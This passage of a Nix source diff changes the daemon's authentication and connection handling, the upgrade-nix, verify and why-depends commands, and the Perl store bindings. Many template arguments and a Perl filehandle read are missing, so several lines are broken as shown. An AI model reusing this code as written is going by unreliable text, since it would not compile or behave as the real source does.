`@wheel` means all users in the `wheel` group. + + > **Warning** + > + > Adding a user to `trusted-users` is essentially equivalent to giving that user root access to the system. + > For example, the user can access or replace store path contents that are critical for system security. + )"}; + + /** + * Who we trust to use the daemon in safe ways + */ + Setting allowedUsers{ + this, {"*"}, "allowed-users", + R"( + A list user names, separated by whitespace. + These users are allowed to connect to the Nix daemon. + + You can specify groups by prefixing names with `@`. + For instance, `@wheel` means all users in the `wheel` group. + Also, you can allow all users by specifying `*`. + + > **Note** + > + > Trusted users (set in [`trusted-users`](#conf-trusted-users)) can always connect to the Nix daemon. + )"}; +}; + +AuthorizationSettings authorizationSettings; + +static GlobalConfig::Register rSettings(&authorizationSettings); + +#ifndef __linux__ +#define SPLICE_F_MOVE 0 +static ssize_t splice(int fd_in, void *off_in, int fd_out, void *off_out, size_t len, unsigned int flags) +{ + // We ignore most parameters, we just have them for conformance with the linux syscall + std::vector buf(8192); + auto read_count = read(fd_in, buf.data(), buf.size()); + if (read_count == -1) + return read_count; + auto write_count = decltype(read_count)(0); + while (write_count < read_count) { + auto res = write(fd_out, buf.data() + write_count, read_count - write_count); + if (res == -1) + return res; + write_count += res; + } + return read_count; +} +#endif + + +static void sigChldHandler(int sigNo) +{ + // Ensure we don't modify errno of whatever we've interrupted + auto saved_errno = errno; + // Reap all dead children. + while (waitpid(-1, 0, WNOHANG) > 0) ; + errno = saved_errno; +} + + +static void setSigChldAction(bool autoReap) +{ + struct sigaction act, oact; + act.sa_handler = autoReap ? sigChldHandler : SIG_DFL; + sigfillset(&act.sa_mask); + act.sa_flags = 0; + if (sigaction(SIGCHLD, &act, &oact)) + throw SysError("setting SIGCHLD handler"); +} + +/** + * @return Is the given user a member of this group? + * + * @param user User specified by username. + * + * @param group Group the user might be a member of. + */ +static bool matchUser(std::string_view user, const struct group & gr) +{ + for (char * * mem = gr.gr_mem; *mem; mem++) + if (user == std::string_view(*mem)) return true; + return false; +} + + +/** + * Does the given user (specified by user name and primary group name) + * match the given user/group whitelist? + * + * If the list allows all users: Yes. + * + * If the username is in the set: Yes. + * + * If the groupname is in the set: Yes. + * + * If the user is in another group which is in the set: yes. + * + * Otherwise: No. + */ +static bool matchUser(const std::string & user, const std::string & group, const Strings & users) +{ + if (find(users.begin(), users.end(), "*") != users.end()) + return true; + + if (find(users.begin(), users.end(), user) != users.end()) + return true; + + for (auto & i : users) + if (i.substr(0, 1) == "@") { + if (group == i.substr(1)) return true; + struct group * gr = getgrnam(i.c_str() + 1); + if (!gr) continue; + if (matchUser(user, *gr)) return true; + } + + return false; +} + + +struct PeerInfo +{ + bool pidKnown; + pid_t pid; + bool uidKnown; + uid_t uid; + bool gidKnown; + gid_t gid; +}; + + +/** + * Get the identity of the caller, if possible. + */ +static PeerInfo getPeerInfo(int remote) +{ + PeerInfo peer = { false, 0, false, 0, false, 0 }; + +#if defined(SO_PEERCRED) + +# if defined(__OpenBSD__) + struct sockpeercred cred; +# else + ucred cred; +# endif + socklen_t credLen = sizeof(cred); + if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1) + throw SysError("getting peer credentials"); + peer = { true, cred.pid, true, cred.uid, true, cred.gid }; + +#elif defined(LOCAL_PEERCRED) + +# if !defined(SOL_LOCAL) +# define SOL_LOCAL 0 +# endif + + xucred cred; + socklen_t credLen = sizeof(cred); + if (getsockopt(remote, SOL_LOCAL, LOCAL_PEERCRED, &cred, &credLen) == -1) + throw SysError("getting peer credentials"); + peer = { false, 0, true, cred.cr_uid, false, 0 }; + +#endif + + return peer; +} + + +#define SD_LISTEN_FDS_START 3 + + +/** + * Open a store without a path info cache. + */ +static ref openUncachedStore() +{ + Store::Params params; // FIXME: get params from somewhere + // Disable caching since the client already does that. + params["path-info-cache-size"] = "0"; + return openStore(settings.storeUri, params); +} + +/** + * Authenticate a potential client + * + * @param peer Information about other end of the connection, the client which + * wants to communicate with us. + * + * @return A pair of a `TrustedFlag`, whether the potential client is trusted, + * and the name of the user (useful for printing messages). + * + * If the potential client is not allowed to talk to us, we throw an `Error`. + */ +static std::pair authPeer(const PeerInfo & peer) +{ + TrustedFlag trusted = NotTrusted; + + struct passwd * pw = peer.uidKnown ? getpwuid(peer.uid) : 0; + std::string user = pw ? pw->pw_name : std::to_string(peer.uid); + + struct group * gr = peer.gidKnown ? getgrgid(peer.gid) : 0; + std::string group = gr ? gr->gr_name : std::to_string(peer.gid); + + const Strings & trustedUsers = authorizationSettings.trustedUsers; + const Strings & allowedUsers = authorizationSettings.allowedUsers; + + if (matchUser(user, group, trustedUsers)) + trusted = Trusted; + + if ((!trusted && !matchUser(user, group, allowedUsers)) || group == settings.buildUsersGroup) + throw Error("user '%1%' is not allowed to connect to the Nix daemon", user); + + return { trusted, std::move(user) }; +} + + +/** + * Run a server. The loop opens a socket and accepts new connections from that + * socket. + * + * @param forceTrustClientOpt If present, force trusting or not trusted + * the client. Otherwise, decide based on the authentication settings + * and user credentials (from the unix domain socket). + */ +static void daemonLoop(std::optional forceTrustClientOpt) +{ + if (chdir("/") == -1) + throw SysError("cannot change current directory"); + + AutoCloseFD fdSocket; + + // Handle socket-based activation by systemd. + auto listenFds = getEnv("LISTEN_FDS"); + if (listenFds) { + if (getEnv("LISTEN_PID") != std::to_string(getpid()) || listenFds != "1") + throw Error("unexpected systemd environment variables"); + fdSocket = SD_LISTEN_FDS_START; + unix::closeOnExec(fdSocket.get()); + } + + // Otherwise, create and bind to a Unix domain socket. + else { + createDirs(dirOf(settings.nixDaemonSocketFile)); + fdSocket = createUnixDomainSocket(settings.nixDaemonSocketFile, 0666); + } + + // Get rid of children automatically; don't let them become zombies. + setSigChldAction(true); + + // Loop accepting connections. + while (1) { + + try { + // Accept a connection. + struct sockaddr_un remoteAddr; + socklen_t remoteAddrLen = sizeof(remoteAddr); + + AutoCloseFD remote = accept(fdSocket.get(), + (struct sockaddr *) &remoteAddr, &remoteAddrLen); + checkInterrupt(); + if (!remote) { + if (errno == EINTR) continue; + throw SysError("accepting connection"); + } + + unix::closeOnExec(remote.get()); + + PeerInfo peer { .pidKnown = false }; + TrustedFlag trusted; + std::string user; + + if (forceTrustClientOpt) + trusted = *forceTrustClientOpt; + else { + peer = getPeerInfo(remote.get()); + auto [_trusted, _user] = authPeer(peer); + trusted = _trusted; + user = _user; + }; + + printInfo((std::string) "accepted connection from pid %1%, user %2%" + (trusted ? " (trusted)" : ""), + peer.pidKnown ? std::to_string(peer.pid) : "", + peer.uidKnown ? user : ""); + + // Fork a child to handle the connection. + ProcessOptions options; + options.errorPrefix = "unexpected Nix daemon error: "; + options.dieWithParent = false; + options.runExitHandlers = true; + options.allowVfork = false; + startProcess([&]() { + fdSocket = -1; + + // Background the daemon. + if (setsid() == -1) + throw SysError("creating a new session"); + + // Restore normal handling of SIGCHLD. + setSigChldAction(false); + + // For debugging, stuff the pid into argv[1]. + if (peer.pidKnown && savedArgv[1]) { + auto processName = std::to_string(peer.pid); + strncpy(savedArgv[1], processName.c_str(), strlen(savedArgv[1])); + } + + // Handle the connection. + processConnection( + openUncachedStore(), + FdSource(remote.get()), + FdSink(remote.get()), + trusted, + NotRecursive); + + exit(0); + }, options); + + } catch (Interrupted & e) { + return; + } catch (Error & error) { + auto ei = error.info(); + // FIXME: add to trace? + ei.msg = HintFmt("error processing connection: %1%", ei.msg.str()); + logError(ei); + } + } +} + +/** + * Forward a standard IO connection to the given remote store. + * + * We just act as a middleman blindly ferry output between the standard + * input/output and the remote store connection, not processing anything. + * + * Loops until standard input disconnects, or an error is encountered. + */ +static void forwardStdioConnection(RemoteStore & store) { + auto conn = store.openConnectionWrapper(); + int from = conn->from.fd; + int to = conn->to.fd; + + auto nfds = std::max(from, STDIN_FILENO) + 1; + while (true) { + fd_set fds; + FD_ZERO(&fds); + FD_SET(from, &fds); + FD_SET(STDIN_FILENO, &fds); + if (select(nfds, &fds, nullptr, nullptr, nullptr) == -1) + throw SysError("waiting for data from client or server"); + if (FD_ISSET(from, &fds)) { + auto res = splice(from, nullptr, STDOUT_FILENO, nullptr, SSIZE_MAX, SPLICE_F_MOVE); + if (res == -1) + throw SysError("splicing data from daemon socket to stdout"); + else if (res == 0) + throw EndOfFile("unexpected EOF from daemon socket"); + } + if (FD_ISSET(STDIN_FILENO, &fds)) { + auto res = splice(STDIN_FILENO, nullptr, to, nullptr, SSIZE_MAX, SPLICE_F_MOVE); + if (res == -1) + throw SysError("splicing data from stdin to daemon socket"); + else if (res == 0) + return; + } + } +} + +/** + * Process a client connecting to us via standard input/output + * + * Unlike `forwardStdioConnection()` we do process commands ourselves in + * this case, not delegating to another daemon. + * + * @param trustClient Whether to trust the client. Forwarded directly to + * `processConnection()`. + */ +static void processStdioConnection(ref store, TrustedFlag trustClient) +{ + processConnection( + store, + FdSource(STDIN_FILENO), + FdSink(STDOUT_FILENO), + trustClient, NotRecursive); +} + +/** + * Entry point shared between the new CLI `nix daemon` and old CLI + * `nix-daemon`. + * + * @param forceTrustClientOpt See `daemonLoop()` and the parameter with + * the same name over there for details. + * + * @param procesOps Whether to force processing ops even if the next + * store also is a remote store and could process it directly. + */ +static void runDaemon(bool stdio, std::optional forceTrustClientOpt, bool processOps) +{ + if (stdio) { + auto store = openUncachedStore(); + + std::shared_ptr remoteStore; + + // If --force-untrusted is passed, we cannot forward the connection and + // must process it ourselves (before delegating to the next store) to + // force untrusting the client. + processOps |= !forceTrustClientOpt || *forceTrustClientOpt != NotTrusted; + + if (!processOps && (remoteStore = store.dynamic_pointer_cast())) + forwardStdioConnection(*remoteStore); + else + // `Trusted` is passed in the auto (no override case) because we + // cannot see who is on the other side of a plain pipe. Limiting + // access to those is explicitly not `nix-daemon`'s responsibility. + processStdioConnection(store, forceTrustClientOpt.value_or(Trusted)); + } else + daemonLoop(forceTrustClientOpt); +} + +static int main_nix_daemon(int argc, char * * argv) +{ + { + auto stdio = false; + std::optional isTrustedOpt = std::nullopt; + auto processOps = false; + + parseCmdLine(argc, argv, [&](Strings::iterator & arg, const Strings::iterator & end) { + if (*arg == "--daemon") + ; // ignored for backwards compatibility + else if (*arg == "--help") + showManPage("nix-daemon"); + else if (*arg == "--version") + printVersion("nix-daemon"); + else if (*arg == "--stdio") + stdio = true; + else if (*arg == "--force-trusted") { + experimentalFeatureSettings.require(Xp::DaemonTrustOverride); + isTrustedOpt = Trusted; + } else if (*arg == "--force-untrusted") { + experimentalFeatureSettings.require(Xp::DaemonTrustOverride); + isTrustedOpt = NotTrusted; + } else if (*arg == "--default-trust") { + experimentalFeatureSettings.require(Xp::DaemonTrustOverride); + isTrustedOpt = std::nullopt; + } else if (*arg == "--process-ops") { + experimentalFeatureSettings.require(Xp::MountedSSHStore); + processOps = true; + } else return false; + return true; + }); + + runDaemon(stdio, isTrustedOpt, processOps); + + return 0; + } +} + +static RegisterLegacyCommand r_nix_daemon("nix-daemon", main_nix_daemon); + +struct CmdDaemon : StoreCommand +{ + bool stdio = false; + std::optional isTrustedOpt = std::nullopt; + bool processOps = false; + + CmdDaemon() + { + addFlag({ + .longName = "stdio", + .description = "Attach to standard I/O, instead of trying to bind to a UNIX socket.", + .handler = {&stdio, true}, + }); + + addFlag({ + .longName = "force-trusted", + .description = "Force the daemon to trust connecting clients.", + .handler = {[&]() { + isTrustedOpt = Trusted; + }}, + .experimentalFeature = Xp::DaemonTrustOverride, + }); + + addFlag({ + .longName = "force-untrusted", + .description = "Force the daemon to not trust connecting clients. The connection will be processed by the receiving daemon before forwarding commands.", + .handler = {[&]() { + isTrustedOpt = NotTrusted; + }}, + .experimentalFeature = Xp::DaemonTrustOverride, + }); + + addFlag({ + .longName = "default-trust", + .description = "Use Nix's default trust.", + .handler = {[&]() { + isTrustedOpt = std::nullopt; + }}, + .experimentalFeature = Xp::DaemonTrustOverride, + }); + + addFlag({ + .longName = "process-ops", + .description = R"( + Forces the daemon to process received commands itself rather than forwarding the commands straight to the remote store. + + This is useful for the `mounted-ssh://` store where some actions need to be performed on the remote end but as connected user, and not as the user of the underlying daemon on the remote end. + )", + .handler = {[&]() { + processOps = true; + }}, + .experimentalFeature = Xp::MountedSSHStore, + }); + } + + std::string description() override + { + return "daemon to perform store operations on behalf of non-root clients"; + } + + Category category() override { return catUtility; } + + std::string doc() override + { + return + #include "daemon.md" + ; + } + + void run(ref store) override + { + runDaemon(stdio, isTrustedOpt, processOps); + } +}; + +static auto rCmdDaemon = registerCommand2({"daemon"}); diff --git a/src/nix/unix/daemon.md b/src/nix/unix/daemon.md new file mode 100644 index 000000000..b1ea850ed --- /dev/null +++ b/src/nix/unix/daemon.md @@ -0,0 +1,45 @@ +R""( + +# Examples + +* Run the daemon: + + ```console + # nix daemon + ``` + +* Run the daemon and listen on standard I/O instead of binding to a UNIX socket: + + ```console + # nix daemon --stdio + ``` + +* Run the daemon and force all connections to be trusted: + + ```console + # nix daemon --force-trusted + ``` + +* Run the daemon and force all connections to be untrusted: + + ```console + # nix daemon --force-untrusted + ``` + +* Run the daemon, listen on standard I/O, and force all connections to use Nix's default trust: + + ```console + # nix daemon --stdio --default-trust + ``` + +# Description + +This command runs the Nix daemon, which is a required component in +multi-user Nix installations. It runs build tasks and other +operations on the Nix store on behalf of non-root users. Usually you +don't run the daemon directly; instead it's managed by a service +management framework such as `systemd` on Linux, or `launchctl` on Darwin. + +Note that this daemon does not fork into the background. + +)"" diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index 2d2453395..f54cc59d0 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -1,18 +1,21 @@ +#include "processes.hh" #include "command.hh" #include "common-args.hh" #include "store-api.hh" #include "filetransfer.hh" #include "eval.hh" +#include "eval-settings.hh" #include "attr-path.hh" #include "names.hh" #include "progress-bar.hh" +#include "executable-path.hh" +#include "self-exe.hh" using namespace nix; struct CmdUpgradeNix : MixDryRun, StoreCommand { Path profileDir; - std::string storePathsUrl = "https://github.com/NixOS/nixpkgs/raw/master/nixos/modules/installer/tools/nix-fallback-paths.nix"; CmdUpgradeNix() { @@ -28,13 +31,21 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand .longName = "nix-store-paths-url", .description = "The URL of the file that contains the store paths of the latest Nix release.", .labels = {"url"}, - .handler = {&storePathsUrl} + .handler = {&(std::string&) settings.upgradeNixStorePathUrl} }); } + /** + * This command is stable before the others + */ + std::optional experimentalFeature() override + { + return std::nullopt; + } + std::string description() override { - return "upgrade Nix to the stable version declared in Nixpkgs"; + return "upgrade Nix to the latest stable version"; } std::string doc() override @@ -83,7 +94,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand { Activity act(*logger, lvlInfo, actUnknown, fmt("installing '%s' into profile '%s'...", store->printStorePath(storePath), profileDir)); - runProgram(settings.nixBinDir + "/nix-env", false, + runProgram(getNixBin("nix-env").string(), false, {"--profile", profileDir, "-i", store->printStorePath(storePath), "--no-sandbox"}); } @@ -93,33 +104,27 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand /* Return the profile in which Nix is installed. */ Path getProfileDir(ref store) { - Path where; - - for (auto & dir : tokenizeString(getEnv("PATH").value_or(""), ":")) - if (pathExists(dir + "/nix-env")) { - where = dir; - break; - } - - if (where == "") + auto whereOpt = ExecutablePath::load().findName(OS_STR("nix-env")); + if (!whereOpt) throw Error("couldn't figure out how Nix is installed, so I can't upgrade it"); + auto & where = *whereOpt; printInfo("found Nix in '%s'", where); - if (hasPrefix(where, "/run/current-system")) + if (hasPrefix(where.string(), "/run/current-system")) throw Error("Nix on NixOS must be upgraded via 'nixos-rebuild'"); - Path profileDir = dirOf(where); + Path profileDir = where.parent_path().string(); // Resolve profile to /nix/var/nix/profiles/ link. - while (canonPath(profileDir).find("/profiles/") == std::string::npos && isLink(profileDir)) + while (canonPath(profileDir).find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir)) profileDir = readLink(profileDir); printInfo("found profile '%s'", profileDir); Path userEnv = canonPath(profileDir, true); - if (baseNameOf(where) != "bin" || + if (where.filename() != "bin" || !hasSuffix(userEnv, "user-environment")) throw Error("directory '%s' does not appear to be part of a Nix profile", where); @@ -135,16 +140,16 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand Activity act(*logger, lvlInfo, actUnknown, "querying latest Nix version"); // FIXME: use nixos.org? - auto req = FileTransferRequest(storePathsUrl); + auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl); auto res = getFileTransfer()->download(req); - auto state = std::make_unique(Strings(), store); + auto state = std::make_unique(LookupPath{}, store, fetchSettings, evalSettings); auto v = state->allocValue(); - state->eval(state->parseExprFromString(res.data, "/no-such-path"), *v); + state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v); Bindings & bindings(*state->allocBindings(0)); auto v2 = findAlongAttrPath(*state, settings.thisSystem, bindings, *v).first; - return store->parseStorePath(state->forceString(*v2)); + return store->parseStorePath(state->forceString(*v2, noPos, "while evaluating the path tho latest nix version")); } }; diff --git a/src/nix/upgrade-nix.md b/src/nix/upgrade-nix.md index 084c80ba2..3a3bf61b9 100644 --- a/src/nix/upgrade-nix.md +++ b/src/nix/upgrade-nix.md @@ -11,13 +11,15 @@ R""( * Upgrade Nix in a specific profile: ```console - # nix upgrade-nix -p /nix/var/nix/profiles/per-user/alice/profile + # nix upgrade-nix --profile ~alice/.local/state/nix/profiles/profile ``` # Description -This command upgrades Nix to the stable version declared in Nixpkgs. -This stable version is defined in [nix-fallback-paths.nix](https://github.com/NixOS/nixpkgs/raw/master/nixos/modules/installer/tools/nix-fallback-paths.nix) +This command upgrades Nix to the stable version. + +By default, the latest stable version is defined by Nixpkgs, in +[nix-fallback-paths.nix](https://github.com/NixOS/nixpkgs/raw/master/nixos/modules/installer/tools/nix-fallback-paths.nix) and updated manually. It may not always be the latest tagged release. By default, it locates the directory containing the `nix` binary in the `$PATH` diff --git a/src/nix/verify.cc b/src/nix/verify.cc index efa2434dc..124a05bed 100644 --- a/src/nix/verify.cc +++ b/src/nix/verify.cc @@ -1,12 +1,14 @@ #include "command.hh" #include "shared.hh" #include "store-api.hh" -#include "sync.hh" #include "thread-pool.hh" -#include "references.hh" +#include "signals.hh" +#include "keys.hh" #include +#include "exit.hh" + using namespace nix; struct CmdVerify : StorePathsCommand @@ -81,14 +83,14 @@ struct CmdVerify : StorePathsCommand ThreadPool pool; - auto doPath = [&](const Path & storePath) { + auto doPath = [&](const StorePath & storePath) { try { checkInterrupt(); MaintainCount> mcActive(active); update(); - auto info = store->queryPathInfo(store->parseStorePath(storePath)); + auto info = store->queryPathInfo(storePath); // Note: info->path can be different from storePath // for binary cache stores when using --all (since we @@ -97,7 +99,7 @@ struct CmdVerify : StorePathsCommand if (!noContents) { - auto hashSink = HashSink(info->narHash.type); + auto hashSink = HashSink(info->narHash.algo); store->narFromPath(info->path, hashSink); @@ -108,8 +110,8 @@ struct CmdVerify : StorePathsCommand act2.result(resCorruptedPath, store->printStorePath(info->path)); printError("path '%s' was modified! expected hash '%s', got '%s'", store->printStorePath(info->path), - info->narHash.to_string(Base32, true), - hash.first.to_string(Base32, true)); + info->narHash.to_string(HashFormat::Nix32, true), + hash.first.to_string(HashFormat::Nix32, true)); } } @@ -173,7 +175,7 @@ struct CmdVerify : StorePathsCommand }; for (auto & storePath : storePaths) - pool.enqueue(std::bind(doPath, store->printStorePath(storePath))); + pool.enqueue(std::bind(doPath, storePath)); pool.process(); diff --git a/src/nix/verify.md b/src/nix/verify.md index 1c43792e7..ae0b0acd6 100644 --- a/src/nix/verify.md +++ b/src/nix/verify.md @@ -12,7 +12,7 @@ R""( signatures: ```console - # nix store verify -r -n2 --no-contents $(type -p firefox) + # nix store verify --recursive --sigs-needed 2 --no-contents $(type -p firefox) ``` * Verify a store path in the binary cache `https://cache.nixos.org/`: @@ -24,7 +24,7 @@ R""( # Description -This command verifies the integrity of the store paths *installables*, +This command verifies the integrity of the store paths [*installables*](./nix.md#installables), or, if `--all` is given, the entire Nix store. For each path, it checks that @@ -46,4 +46,6 @@ The exit status of this command is the sum of the following values: * **4** if any path couldn't be verified for any other reason (such as an I/O error). +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + )"" diff --git a/src/nix/why-depends.cc b/src/nix/why-depends.cc index 723017497..e299585ff 100644 --- a/src/nix/why-depends.cc +++ b/src/nix/why-depends.cc @@ -1,7 +1,7 @@ #include "command.hh" #include "store-api.hh" #include "progress-bar.hh" -#include "fs-accessor.hh" +#include "source-accessor.hh" #include "shared.hh" #include @@ -27,7 +27,7 @@ static std::string filterPrintable(const std::string & s) return res; } -struct CmdWhyDepends : SourceExprCommand +struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions { std::string _package, _dependency; bool all = false; @@ -38,17 +38,13 @@ struct CmdWhyDepends : SourceExprCommand expectArgs({ .label = "package", .handler = {&_package}, - .completer = {[&](size_t, std::string_view prefix) { - completeInstallable(prefix); - }} + .completer = getCompleteInstallable(), }); expectArgs({ .label = "dependency", .handler = {&_dependency}, - .completer = {[&](size_t, std::string_view prefix) { - completeInstallable(prefix); - }} + .completer = getCompleteInstallable(), }); addFlag({ @@ -95,23 +91,13 @@ struct CmdWhyDepends : SourceExprCommand * to build. */ auto dependency = parseInstallable(store, _dependency); - auto derivedDependency = dependency->toDerivedPath(); - auto optDependencyPath = std::visit(overloaded { - [](const DerivedPath::Opaque & nodrv) -> std::optional { - return { nodrv.path }; - }, - [&](const DerivedPath::Built & hasdrv) -> std::optional { - if (hasdrv.outputs.size() != 1) { - throw Error("argument '%s' should evaluate to one store path", dependency->what()); - } - auto outputMap = store->queryPartialDerivationOutputMap(hasdrv.drvPath); - auto maybePath = outputMap.find(*hasdrv.outputs.begin()); - if (maybePath == outputMap.end()) { - throw Error("unexpected end of iterator"); - } - return maybePath->second; - }, - }, derivedDependency.raw()); + auto optDependencyPath = [&]() -> std::optional { + try { + return {Installable::toStorePath(getEvalStore(), store, Realise::Derivation, operateOn, dependency)}; + } catch (MissingRealisation &) { + return std::nullopt; + } + }(); StorePathSet closure; store->computeFSClosure({packagePath}, closure, false, false); @@ -189,7 +175,7 @@ struct CmdWhyDepends : SourceExprCommand struct BailOut { }; printNode = [&](Node & node, const std::string & firstPad, const std::string & tailPad) { - auto pathS = store->printStorePath(node.path); + CanonPath pathS(store->printStorePath(node.path)); assert(node.dist != inf); if (precise) { @@ -197,7 +183,7 @@ struct CmdWhyDepends : SourceExprCommand firstPad, node.visited ? "\e[38;5;244m" : "", firstPad != "" ? "→ " : "", - pathS); + pathS.abs()); } if (node.path == dependencyPath && !all @@ -224,24 +210,25 @@ struct CmdWhyDepends : SourceExprCommand contain the reference. */ std::map hits; - std::function visitPath; + std::function visitPath; - visitPath = [&](const Path & p) { - auto st = accessor->stat(p); + visitPath = [&](const CanonPath & p) { + auto st = accessor->maybeLstat(p); + assert(st); - auto p2 = p == pathS ? "/" : std::string(p, pathS.size() + 1); + auto p2 = p == pathS ? "/" : p.abs().substr(pathS.abs().size() + 1); auto getColour = [&](const std::string & hash) { return hash == dependencyPathHash ? ANSI_GREEN : ANSI_BLUE; }; - if (st.type == FSAccessor::Type::tDirectory) { + if (st->type == SourceAccessor::Type::tDirectory) { auto names = accessor->readDirectory(p); - for (auto & name : names) - visitPath(p + "/" + name); + for (auto & [name, type] : names) + visitPath(p / name); } - else if (st.type == FSAccessor::Type::tRegular) { + else if (st->type == SourceAccessor::Type::tRegular) { auto contents = accessor->readFile(p); for (auto & hash : hashes) { @@ -249,7 +236,7 @@ struct CmdWhyDepends : SourceExprCommand if (pos != std::string::npos) { size_t margin = 32; auto pos2 = pos >= margin ? pos - margin : 0; - hits[hash].emplace_back(fmt("%s: …%s…\n", + hits[hash].emplace_back(fmt("%s: …%s…", p2, hilite(filterPrintable( std::string(contents, pos2, pos - pos2 + hash.size() + margin)), @@ -259,13 +246,13 @@ struct CmdWhyDepends : SourceExprCommand } } - else if (st.type == FSAccessor::Type::tSymlink) { + else if (st->type == SourceAccessor::Type::tSymlink) { auto target = accessor->readLink(p); for (auto & hash : hashes) { auto pos = target.find(hash); if (pos != std::string::npos) - hits[hash].emplace_back(fmt("%s -> %s\n", p2, + hits[hash].emplace_back(fmt("%s -> %s", p2, hilite(target, pos, StorePath::HashLen, getColour(hash)))); } } @@ -282,9 +269,9 @@ struct CmdWhyDepends : SourceExprCommand for (auto & hit : hits[hash]) { bool first = hit == *hits[hash].begin(); - std::cout << tailPad - << (first ? (last ? treeLast : treeConn) : (last ? treeNull : treeLine)) - << hit; + logger->cout("%s%s%s", tailPad, + (first ? (last ? treeLast : treeConn) : (last ? treeNull : treeLine)), + hit); if (!all) break; } diff --git a/src/perl/.version b/src/perl/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/perl/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/perl/.yath.rc.in b/src/perl/.yath.rc.in new file mode 100644 index 000000000..e6f5f93ec --- /dev/null +++ b/src/perl/.yath.rc.in @@ -0,0 +1,2 @@ +[test] +-I=rel(@lib_dir@) diff --git a/perl/MANIFEST b/src/perl/MANIFEST similarity index 100% rename from perl/MANIFEST rename to src/perl/MANIFEST diff --git a/perl/lib/Nix/Config.pm.in b/src/perl/lib/Nix/Config.pm.in similarity index 92% rename from perl/lib/Nix/Config.pm.in rename to src/perl/lib/Nix/Config.pm.in index 508a15e15..ad51cff3b 100644 --- a/perl/lib/Nix/Config.pm.in +++ b/src/perl/lib/Nix/Config.pm.in @@ -5,7 +5,6 @@ use Nix::Store; $version = "@PACKAGE_VERSION@"; -$binDir = Nix::Store::getBinDir; $storeDir = Nix::Store::getStoreDir; %config = (); diff --git a/perl/lib/Nix/CopyClosure.pm b/src/perl/lib/Nix/CopyClosure.pm similarity index 100% rename from perl/lib/Nix/CopyClosure.pm rename to src/perl/lib/Nix/CopyClosure.pm diff --git a/perl/lib/Nix/Manifest.pm b/src/perl/lib/Nix/Manifest.pm similarity index 100% rename from perl/lib/Nix/Manifest.pm rename to src/perl/lib/Nix/Manifest.pm diff --git a/perl/lib/Nix/SSH.pm b/src/perl/lib/Nix/SSH.pm similarity index 100% rename from perl/lib/Nix/SSH.pm rename to src/perl/lib/Nix/SSH.pm diff --git a/src/perl/lib/Nix/Store.pm b/src/perl/lib/Nix/Store.pm new file mode 100644 index 000000000..f2ae7e88f --- /dev/null +++ b/src/perl/lib/Nix/Store.pm @@ -0,0 +1,45 @@ +package Nix::Store; + +use strict; +use warnings; + +require Exporter; + +our @ISA = qw(Exporter); + +our %EXPORT_TAGS = ( 'all' => [ qw( ) ] ); + +our @EXPORT_OK = ( @{ $EXPORT_TAGS{'all'} } ); + +our @EXPORT = qw( + StoreWrapper + StoreWrapper::new + StoreWrapper::isValidPath StoreWrapper::queryReferences StoreWrapper::queryPathInfo StoreWrapper::queryDeriver StoreWrapper::queryPathHash + StoreWrapper::queryPathFromHashPart + StoreWrapper::topoSortPaths StoreWrapper::computeFSClosure followLinksToStorePath StoreWrapper::exportPaths StoreWrapper::importPaths + StoreWrapper::addToStore StoreWrapper::makeFixedOutputPath + StoreWrapper::derivationFromPath + StoreWrapper::addTempRoot + StoreWrapper::queryRawRealisation + + hashPath hashFile hashString convertHash + signString checkSignature + getStoreDir + setVerbosity +); + +our $VERSION = '0.15'; + +sub backtick { + open(RES, "-|", @_) or die; + local $/; + my $res = || ""; + close RES or die; + return $res; +} + +require XSLoader; +XSLoader::load('Nix::Store', $VERSION); + +1; +__END__ diff --git a/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs similarity index 51% rename from perl/lib/Nix/Store.xs rename to src/perl/lib/Nix/Store.xs index 54ad1680c..172c3500d 100644 --- a/perl/lib/Nix/Store.xs +++ b/src/perl/lib/Nix/Store.xs @@ -1,4 +1,5 @@ -#include "config.h" +#include "config-util.hh" +#include "config-store.hh" #include "EXTERN.h" #include "perl.h" @@ -9,56 +10,69 @@ #undef do_close #include "derivations.hh" +#include "realisation.hh" #include "globals.hh" #include "store-api.hh" -#include "util.hh" -#include "crypto.hh" +#include "posix-source-accessor.hh" #include #include - using namespace nix; +static bool libStoreInitialized = false; -static ref store() -{ - static std::shared_ptr _store; - if (!_store) { - try { - loadConfFile(); - settings.lockCPU = false; - _store = openStore(); - } catch (Error & e) { - croak("%s", e.what()); - } - } - return ref(_store); -} - +struct StoreWrapper { + ref store; +}; MODULE = Nix::Store PACKAGE = Nix::Store PROTOTYPES: ENABLE +TYPEMAP: < _store; try { - RETVAL = store()->isValidPath(store()->parseStorePath(path)); + if (!libStoreInitialized) { + initLibStore(); + libStoreInitialized = true; + } + if (items == 1) { + _store = openStore(); + RETVAL = new StoreWrapper { + .store = ref{_store} + }; + } else { + RETVAL = new StoreWrapper { + .store = openStore(s) + }; + } } catch (Error & e) { croak("%s", e.what()); } @@ -66,52 +80,81 @@ int isValidPath(char * path) RETVAL -SV * queryReferences(char * path) +void init() + CODE: + if (!libStoreInitialized) { + initLibStore(); + libStoreInitialized = true; + } + + +void setVerbosity(int level) + CODE: + verbosity = (Verbosity) level; + + +int +StoreWrapper::isValidPath(char * path) + CODE: + try { + RETVAL = THIS->store->isValidPath(THIS->store->parseStorePath(path)); + } catch (Error & e) { + croak("%s", e.what()); + } + OUTPUT: + RETVAL + + +SV * +StoreWrapper::queryReferences(char * path) PPCODE: try { - for (auto & i : store()->queryPathInfo(store()->parseStorePath(path))->references) - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(i).c_str(), 0))); + for (auto & i : THIS->store->queryPathInfo(THIS->store->parseStorePath(path))->references) + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(i).c_str(), 0))); } catch (Error & e) { croak("%s", 